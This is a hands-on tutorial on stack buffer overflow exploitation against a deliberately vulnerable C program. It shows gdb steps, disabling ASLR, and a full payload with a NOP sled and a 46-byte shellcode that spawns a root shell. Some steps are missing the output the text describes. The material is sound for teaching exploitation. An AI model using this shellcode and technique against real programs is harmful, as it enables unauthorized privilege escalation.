Buffer Overflow is a vulnerability in which a less privileged user gains unauthorized access to a shell with same privileges as the program's current executor by overwriting beyond the maximum buffer size. Once privileged access is had, severe damages can be inflicted on the target machine. This vulnerability often exists in programs written in C/C++, languages wherein the developer must manually manage the memory footprint.
- Linux distro on a VM, Raspberry Pi, or Linux on the host machine.
makeorgccC programgdbLinux program - to install, runsudo apt-get install gdb
-
Turn off buffer overflow protection measures ONLY for the duration of this exploit. See notes below:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie -
Compile the sample vulnerable program
vuln.c:make vuln. -
Open the debugger and attach to our program:
gdb vuln -
Disassemble the program function to see the program's location in memory:
disas main. In the subsequent print out of the stack, locate wherestrcpygets called. It's0x00010498in this case. -
We need to know where our string input will get copied into the buffer. Copy a memory address below the
strcpyand add a breakpoint there.b *0x00010498
-
Attempt to overwrite the buffer with an arbitrary character of length n. This python script will write 230
A's. Notice the function trips our breakpoint.run $(python -c "print('A' * 230)") -
We need to find the memory address at which our buffer begins, which is signaled by our
As.- Run
x/200xb $sp(could be$espor$rspdepending on your platform) to generate a map of the memory addresses. See below for more notes on the GDBxcommand.
- Run
-
JACKPOT! Where you see a full row of
0x41(the hex representation forA) is where our buffer begins! Save the memory address (0xbeffef68here) for later.
Through trial & error, we will write an arbitrary length of an arbitrary character to discover the buffer length.
-
Delete the breakpoints:
delete.ywhen prompted. -
Run the python script again. Note that this time, the process will have exited normally. This means that 230
As was not enough to overflow the buffer (to overwrite into privileged parts of the memory) -
Increment the length of
As and repeat the script until the stdout starts to look funky. At 260, we start seeing a different message:The above message implies that the memory addresses where the system libraries get stored (i.e.
libc-start.c) are starting to get corrupted by our script. -
At 264, we get a different message:
Jackpot! We found the starting point of our buffer, since we've reached the location where our overwritten
As (0x41414140) begin. -
(Optional) You can test your hypothesis by rewriting the tip with
B's instead:
-
This prepared payload of length 46 bytes simply opens up a shell:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 -
Our new buffer structure of total length 264 bytes:
- FRONT PADDING Pad the beginning of the buffer with a "
no-op sled" (\x90) that makes the machine hop memory addresses until it reaches our payload.'\x90' * 214 - PAYLOAD Nest the 46 byte shell script
- RETURN ADDR Set the new return address as somewhere within the
no-op sledso that the machine will execute our code. This is the memory address you saved from earlier (0xbeffef68) - add this in the reversed endian format. The NOP sled/slide can be an actualnopoperation, or any other operation that doesn't change the control flow:xor eax,eax,inc ax.
- FRONT PADDING Pad the beginning of the buffer with a "
-
Run the final script with the payload:
run $(python -c "print('\x90' * 214 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x68\xef\xff\xbe')") -
Turn on the protection mechanisms again:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
-
- Displays the memory contents at a given address using the specified format.
-x= hexadecimal-b= bytes
-
If you run into the message:
Unable to find Mach task port for process-id 46234: (os/kern) failure (0x5). (please check gdb is codesigned - see taskgated(8))This means you ran this command on a Mac terminal. See here for help with codesigning
gdb. Linux is recommended.










